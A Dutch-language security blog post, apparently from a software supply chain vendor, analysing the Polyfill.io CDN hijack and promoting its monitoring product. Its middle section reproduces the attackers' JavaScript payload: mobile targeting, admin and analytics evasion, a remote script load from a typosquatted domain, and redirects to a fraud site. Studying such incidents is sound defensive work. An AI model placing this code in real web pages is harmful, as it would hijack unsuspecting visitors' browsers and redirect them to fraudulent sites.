polyfill-aanval-polyfill-supply-chain-aanval-software-supply-chain-aanvallen

Het ontmaskeren van de Polyfill-aanval: een diepgaande duik

In februari 2024, de Polyfill.io-aanval op de toeleveringsketen—een schoolvoorbeeld van software supply chain-aanvallen— wereldwijd meer dan 100,000 websites gecompromitteerd. Dit incident betrof pakket kaping, waar FUNNULL, een kwaadaardige entiteit, de controle kreeg over Polyfill's domein en GitHub-repository, en malware in de service injecteerde. De malware richtte zich specifiek op mobiele gebruikers en stuurde ze door naar frauduleuze gokwebsites door kwetsbaarheden in Polyfill's dynamische codelevering op basis van HTTP-headers en user agents te exploiteren.

Technische analyse: hoe de Polyfill-aanval werkte

Polyfill wordt veel gebruikt om compatibiliteit tussen moderne webfuncties en oudere browsers te garanderen. De aanvallers gebruikten pakket kaping door de aankoop van cdn.polyfill.io domein en het insluiten van kwaadaardige scripts. Wat deze aanval zo gevaarlijk maakte, was het geavanceerde gedrag van de malware:

  • Dynamische codegeneratie: De service van Polyfill genereerde aangepaste JavaScript-reacties op basis van het apparaat dat de website bezocht (bijvoorbeeld mobiel versus desktop), HTTP-headers en user agents. Aanvallers maakten misbruik van deze dynamische aard door schadelijke payloads te injecteren die waren afgestemd op specifieke apparaten, met name mobiele telefoons.
  • Ontwijkingstechnieken: De malware was slim. Het vertraagde de uitvoering wanneer analyseservices zoals Google Analytics werden gedetecteerd, waardoor de acties niet in sitestatistieken werden weergegeven. Bovendien werd het niet geactiveerd als beheerders of ontwikkelaars werden gedetecteerd, waardoor vroege detectie tijdens het debuggen of testen werd vermeden.
  • Mobiele omleiding:Nadat de malware was geactiveerd, werden gebruikers doorgestuurd naar frauduleuze gokwebsites door zich voor te doen als legitieme domeinen (bijv. googie-anaiytics.comDe aanvallers manipuleerden zelfs tijdsvensters om argwaan te verminderen, door de payload alleen op bepaalde tijden uit te voeren om nietsvermoedende mobiele gebruikers te verrassen.

Grootste sites getroffen door de Polyfill-aanval

De Aanval op de toeleveringsketen van Polyfill trof meer dan 100,000 websites, waaronder grote organisaties zoals:

  • World Economic Forum
  • Intuit
  • JSTOR
  • Bank of Ireland
  • Coldwell Banker
  • Live Nation
  • Brandeis University
  • Dubai Luchthavens Bedrijf
  • Environmental Defense Fund

Deze opvallende slachtoffers onderstrepen de wereldwijde reikwijdte van de aanval en de kwetsbaarheid van grote instellingen voor inbreuken op de toeleveringsketen

Vroegtijdige waarschuwingen en respons

Andreas Betts, de oorspronkelijke maker van Polyfill, waarschuwde ontwikkelaars maanden voor de aanval om stop met het gebruik van de Polyfill-service nadat hij de controle over het domein verloor. Zijn waarschuwing werd grotendeels genegeerd totdat FUNNULL's aanval werd gelanceerd. Eenmaal gedetecteerd, content delivery-netwerken zoals Cloudflare en Fastly bood veilige alternatieven, terwijl Betts zijn advies aan ontwikkelaars herhaalde om Polyfill-verwijzingen volledig te verwijderen.

Polyfill kwaadaardige payload voorbeeld

Om de geraffineerdheid van de Polyfill-aanval op de toeleveringsketen te illustreren: Sansec gaf een gedetailleerd voorbeeld van de gebruikte kwaadaardige payload. Deze payload paste zich dynamisch aan op basis van het apparaat van de gebruiker, waardoor omleidingen naar frauduleuze websites werden geactiveerd en technieken werden gebruikt om detectie te ontwijken. Voor een nadere blik op de technische uitsplitsing van deze payload kunt u van Sansec volledige analyse en voorbeeld van schadelijke code.

function isPc() {
  try {
    var _isWin =
        navigator.platform == "Win32" || navigator.platform == "Windows",
      _isMac =
        navigator.platform == "Mac68K" ||
        navigator.platform == "MacPPC" ||
        navigator.platform == "Macintosh" ||
        navigator.platform == "MacIntel";
    if (_isMac || _isWin) {
      return true;
    } else {
      return false;
    }
  } catch (_0x44e1f6) {
    return false;
  }
}
function vfed_update(_0x5ae1f8) {
  _0x5ae1f8 !== "" &&
    loadJS(
      "https://www.googie-anaiytics.com/html/checkcachehw.js",
      function () {
        if (usercache == true) {
          window.location.href = _0x5ae1f8;
        }
      }
    );
}
function check_tiaozhuan() {
  var _isMobile = navigator.userAgent.match(
    /(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i
  );
  if (_isMobile) {
    var _curHost = window.location.host,
      _ref = document.referrer,
      _redirectURL = "",
      _kuurzaBitGet = "https://kuurza.com/redirect?from=bitget",
      _rnd = Math.floor(Math.random() * 100 + 1),
      _date = new Date(),
      _hours = _date.getHours();
    if (
      _curHost.indexOf("www.dxtv1.com") !== -1 ||
      _curHost.indexOf("www.ys752.com") !== -1
    ) {
      _redirectURL = "https://kuurza.com/redirect?from=bitget";
    } else {
      if (_curHost.indexOf("shuanshu.com.com") !== -1) {
        _redirectURL = "https://kuurza.com/redirect?from=bitget";
      } else {
        if (_ref.indexOf(".") !== -1 && _ref.indexOf(_curHost) == -1) {
          _redirectURL = "https://kuurza.com/redirect?from=bitget";
        } else {
          if (_hours >= 0 && _hours < 2) {
            if (_rnd <= 10) {
              _redirectURL = _kuurzaBitGet;
            }
          } else {
            if (_hours >= 2 && _hours < 4) {
              _rnd <= 15 && (_redirectURL = _kuurzaBitGet);
            } else {
              if (_hours >= 4 && _hours < 7) {
                _rnd <= 20 && (_redirectURL = _kuurzaBitGet);
              } else {
                _hours >= 7 && _hours < 8
                  ? _rnd <= 10 && (_redirectURL = _kuurzaBitGet)
                  : _rnd <= 10 && (_redirectURL = _kuurzaBitGet);
              }
            }
          }
        }
      }
    }
    _redirectURL != "" &&
      !isPc() &&
      document.cookie.indexOf("admin_id") == -1 &&
      document.cookie.indexOf("adminlevels") == -1 &&
      vfed_update(_redirectURL);
  }
}
let _outerPage = document.documentElement.outerHTML,
  bdtjfg = _outerPage.indexOf("hm.baidu.com") != -1;
let cnzfg = _outerPage.indexOf(".cnzz.com") != -1,
  wolafg = _outerPage.indexOf(".51.la") != -1;
let mattoo = _outerPage.indexOf(".matomo.org") != -1,
  aanaly = _outerPage.indexOf(".google-analytics.com") != -1;
let ggmana = _outerPage.indexOf(".googletagmanager.com") != -1,
  aplausix = _outerPage.indexOf(".plausible.io") != -1,
  statcct = _outerPage.indexOf(".statcounter.com") != -1;
bdtjfg || cnzfg || wolafg || mattoo || aanaly || ggmana || aplausix || statcct
  ? setTimeout(check_tiaozhuan, 2000)
  : check_tiaozhuan();

Waarom vond de aanval op de toeleveringsketen van Polyfill plaats?

De aanval op de toeleveringsketen van Polyfill onderstreept de kritieke situatie kwetsbaarheden in afhankelijkheid van derden beheer. Het moderne JavaScript-ecosysteem is sterk afhankelijk van open-sourcebibliotheken en ontwikkelaars gebruiken vaak tools zoals npm om deze bibliotheken automatisch te integreren. Zonder strenge controle of continue monitoring kunnen gecompromitteerde pakketten onopgemerkt door de mazen van het net glippen, zoals te zien is bij Polyfill.

Bovendien geeft het snelle tempo van ontwikkeling en implementatie in de softwareomgevingen van vandaag de dag vaak prioriteit aan functionaliteit en snelheid boven grondige beveiligingscontroles. Aanvallers maken misbruik van deze kloof en richten zich op populaire bibliotheken om hun impact te maximaliseren. In het geval van Polyfill, nadat aanvallers de controle over het domein hadden gekregen, maakten ze gebruik van het wijdverbreide gebruik van de bibliotheek om schadelijke code te injecteren op een groot aantal websites.

Dit incident benadrukt het belang van het implementeren van strenge beveiligingsmaatregelen, zoals dependency auditing tools, real-time monitoring en robuuste incident response plans, om te beschermen tegen vergelijkbare software supply chain-aanvallen. Organisaties moeten prioriteit geven aan beveiliging in hun ontwikkelingsworkflows om hun digitale ecosystemen effectief te beschermen.

Toekomstige aanvallen voorkomen: robuust afhankelijkheidsbeheer

Bij het beheren van afhankelijkheden, Xygeni's Open Source Security platform maakt gebruik van meerdere beschermingslagen die zijn ontworpen om kwaadaardige componenten in realtime te detecteren, in quarantaine te plaatsen en te verhelpen en aanvallen op de softwaretoeleveringsketen te voorkomen.

Realtime malwaredetectie: Xygeni controleert voortdurend openbare registers en scant op verdachte code voordat deze de ontwikkelomgeving binnenkomt. Dit maakt proactieve blokkering van bedreigingen zoals de Polyfill-aanval mogelijk, zoals benadrukt in Luis Rodriguez's serie artikelen. 

Geautomatiseerde waarschuwingen en quarantaine: Xygeni isoleert automatisch gecompromitteerde pakketten en genereert waarschuwingen, waardoor ontwikkelteams snel kunnen handelen. Door te integreren met CI/CD pipelines, kan elke bedreiging worden gestopt voordat deze de productie bereikt. In gevallen zoals het Polyfill-incident voorkomt deze functie wijdverbreide impact door schadelijke code vroegtijdig te stoppen.

Dynamische prioritering en SBOM: Xygeni prioriteert kwetsbaarheden dynamisch op basis van context, exploiteerbaarheid en zakelijke impact. Door een realtime softwarestuklijst (SBOM), kunnen organisaties alle third-party componenten volgen, wat volledige transparantie garandeert. Deze realtime monitoring is cruciaal bij het beheren van open-source afhankelijkheden, wat snelle reacties op incidenten zoals Polyfill's kaping mogelijk maakt.

In de artikelenreeks van Luis Rodriguez, de focus op proactieve verdediging tegen kwaadaardige open-sourcepakketten wordt uitgebreid besproken. Xygeni's aanpak omvat niet alleen realtimedetectie, maar biedt ook geautomatiseerde herstelpaden, waardoor organisaties kunnen teruggaan naar veilige versies zonder de productie te verstoren

Bestelling afronden de open source kwaadaardige pakketten Lees hier de artikelenreeks om meer te weten te komen over hoe Xygeni open-sourcebeveiliging beheert.

Lessen uit de Polyfill-aanval

De Polyfill.io-aanval op de toeleveringsketen leert u belangrijke lessen over de risico's van afhankelijkheden van derden in moderne webontwikkeling.

  • Waakzaamheid bij afhankelijkheden van derden: Dit is de meest cruciale les. Organisaties moeten regelmatig beoordelen, controleren en monitoren alle externe bibliotheken die ze gebruiken. Te veel vertrouwen op ongecontroleerde afhankelijkheden kan systemen blootstellen aan ernstige risico's.
  • Proactieve beveiligingsmaatregelen: Continue monitoring, zoals met Realtime detectie van bedreigingen door Xygeni, kwetsbaarheden vroegtijdig kunnen ontdekken.
  • Onderwijs en Vorming:Door alle teamleden op de hoogte te houden van de nieuwste bedreigingen, wordt de beveiliging van de organisatie versterkt.

De aanval op de toeleveringsketen van Polyfill is een krachtige herinnering aan de groeiende dreiging die uitgaat van software supply chain-aanvallen. Deze aanvallen maken gebruik van kwetsbaarheden in veelgebruikte componenten van derden, waardoor organisaties van alle groottes worden blootgesteld. Door proactieve beveiligingsmaatregelen te nemen, zoals realtime monitoring, Geautomatiseerde detectie van bedreigingenen robuust afhankelijkheidsbeheer—zoals die van Xygeni—kunnen bedrijven zichzelf in de toekomst beschermen tegen soortgelijke bedreigingen. Waakzaam blijven en uitgebreid toezicht houden op bibliotheken van derden zijn essentieel om grootschalige inbreuken zoals Polyfill te voorkomen.

Beveilig uw open source-afhankelijkheden tegen software-aanvoerketenaanvallen

Laat uw aanvraag niet ten prooi vallen aan software supply chain-aanvallen zoals Polyfill. Xygeni's Open Source Security platform biedt realtime monitoring, geavanceerde afhankelijkheidsmapping en geautomatiseerde oplossingen om uw ontwikkeling te beschermen pipelines van gecompromitteerde pakketten.

Neem vandaag nog de controle over uw softwaretoeleveringsketen. Een demo opslaan en ontdek hoe Xygeni uw organisatie kan beschermen tegen toekomstige bedreigingen.

sca-tools-software-compositie-analyse-tools
Prioriteer, herstel en beveilig uw softwarerisico's
Gratis proefperiode van 7-dag
Geen kredietkaart nodig

Beveilig uw softwareontwikkeling en -levering

met Xygeni-productsuite